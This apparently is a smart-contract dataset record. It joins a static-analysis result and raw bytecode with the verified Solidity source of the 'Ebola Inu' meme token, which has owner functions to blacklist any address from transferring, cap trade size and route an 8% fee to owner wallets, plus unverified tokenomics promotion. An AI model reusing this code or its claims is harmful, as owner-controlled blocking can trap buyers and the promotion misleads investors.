60246000fd5b6000918252602090912001546001600160a01b031614156110df576001915050610798565b806110e981611ad8565b915050611085565b50600092915050565b611102611500565b6001600160a01b0316611113610d51565b6001600160a01b0316146111395760405162461bcd60e51b81526004016104a990611918565b6040805160608101825293151584526020840192835283019081526004805460018101825560009190915292517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b6003909402938401805460ff191691151591909117905590517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c830155517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d90910155565b60006004828154811061120f57634e487b7160e01b600052603260045260246000fd5b9060005260206000209060030201600101549050919050565b600054600160a01b900460ff1681565b611241816111ec565b341461125f5760405162461bcd60e51b81526004016104a9906119f0565b600054600160a01b900460ff166112885760405162461bcd60e51b81526004016104a990611873565b6000600482815481106112ab57634e487b7160e01b600052603260045260246000fd5b9060005260206000209060030201600201541180156112fb5750600481815481106112e657634e487b7160e01b600052603260045260246000fd5b600091825260209091206003909102015460ff165b6113175760405162461bcd60e51b81526004016104a990611984565b33600090815260026020526040902054156113445760405162461bcd60e51b81526004016104a99061183c565b3360009081526001602052604090205460ff16156113745760405162461bcd60e51b81526004016104a99061194d565b600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b0319163317905560048054829081106113d857634e487b7160e01b600052603260045260246000fd5b906000526020600020906003020160020154620151806113f89190611ab9565b6114029042611aa1565b3360009081526002602052604090205550565b61141d611500565b6001600160a01b031661142e610d51565b6001600160a01b0316146114545760405162461bcd60e51b81526004016104a990611918565b6001600160a01b03811661147a5760405162461bcd60e51b81526004016104a9906117df565b61148381611504565b50565b61148e611500565b6001600160a01b031661149f610d51565b6001600160a01b0316146114c55760405162461bcd60e51b81526004016104a990611918565b80600483815481106114e757634e487b7160e01b600052603260045260246000fd5b9060005260206000209060030201600101819055505050565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b604051806060016040528060001515815260200160008152602001600081525090565b80356001600160a01b038116811461079857600080fd5b600082601f83011261159e578081fd5b813560206115b36115ae83611a7d565b611a53565b82815281810190858301838502870184018810156115cf578586fd5b855b858110156115ed578135845292840192908401906001016115d1565b5090979650505050505050565b60006020828403121561160b578081fd5b61161482611577565b9392505050565b6000806040838503121561162d578081fd5b61163683611577565b946020939093013593505050565b60008060408385031215611656578182fd5b823567ffffffffffffffff8082111561166d578384fd5b818501915085601f830112611680578384fd5b813560206116906115ae83611a7d565b82815281810190858301838502870184018b10156116ac578889fd5b8896505b848710156116d5576116c181611577565b8352600196909601959183019183016116b0565b50965050860135925050808211156116eb578283fd5b506116f88582860161158e565b9150509250929050565b600080600060608486031215611716578081fd5b83358015158114611725578182fd5b95602085013595506040909401359392505050565b60006020828403121561174b578081fd5b5035919050565b60008060408385031215611764578182fd5b50508035926020909101359150565b6001600160a01b0391909116815260200190565b6020808252825182820181905260009190848201906040850190845b818110156117c85783516001600160a01b0316835292840192918401916001016117a3565b50909695505050505050565b901515815260200190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201527f6464726573730000000000000000000000000000000000000000000000000000606082015260800190565b60208082526012908201527f416c726561647920726567697374657265640000000000000000000000000000604082015260600190565b6020808252600f908201527f53616c65206e6f74206163746976650000000000000000000000000000000000604082015260600190565b6020808252600f908201527f4e6f742077686974656c69737465640000000000000000000000000000000000604082015260600190565b60208082526011908201527f4d61782075736572732072656163686564000000000000000000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526013908201527f416c72656164792077686974656c697374656400000000000000000000000000604082015260600190565b6020808252818101527f506c616e20646f6573206e6f74206578697374206f722064697361626c65642e604082015260600190565b60208082526018908201527f55736572206d7573742072656769737465722066697273740000000000000000604082015260600190565b60208082526013908201527f496e636f7272656374204554482076616c756500000000000000000000000000604082015260600190565b815115158152602080830151908201526040918201519181019190915260600190565b90815260200190565b60405181810167ffffffffffffffff81118282101715611a7557611a75611b09565b604052919050565b600067ffffffffffffffff821115611a9757611a97611b09565b5060209081020190565b60008219821115611ab457611ab4611af3565b500190565b6000816000190483118215151615611ad357611ad3611af3565b500290565b6000600019821415611aec57611aec611af3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212209edba3e28c373b8ef17caa8d21ab995c127edb0ff3a21542486dc8e1798257a164736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 1,114 |
0x0342cb95794f25decc9b6913739720359afb153e | /**
*Submitted for verification at Etherscan.io on 2021-07-22
*/
/*
🦠Ebola Inu🦠
Remember to wear a mask!
📊TOKENOMICS 📊
🐶 1,000,000,000,000 $EBOINU
🔥50% » BURNED FOREVER
🔒50% » LOCKED LIQUIDITY
👥4% TEAM/DEVELOPER
💈4% MARKETING/CHARITIES
✅ Website
✅ Social media setup
✅ Stealth launch on UniSwap - ETH
✅ Marketing
Telegram: https://t.me/EbolaInu
Website: https://ebolainu.com/
Twitter: https://twitter.com/EbolaInu
Dextools: https://www.dextools.io/app/uniswap/pair-explorer/0x0342cB95794f25DEcc9B6913739720359AFB153E
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EbolaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Ebola Inu";
string private constant _symbol = 'EBOINU️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600981526020017f45626f6c6120496e750000000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f45424f494e55efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b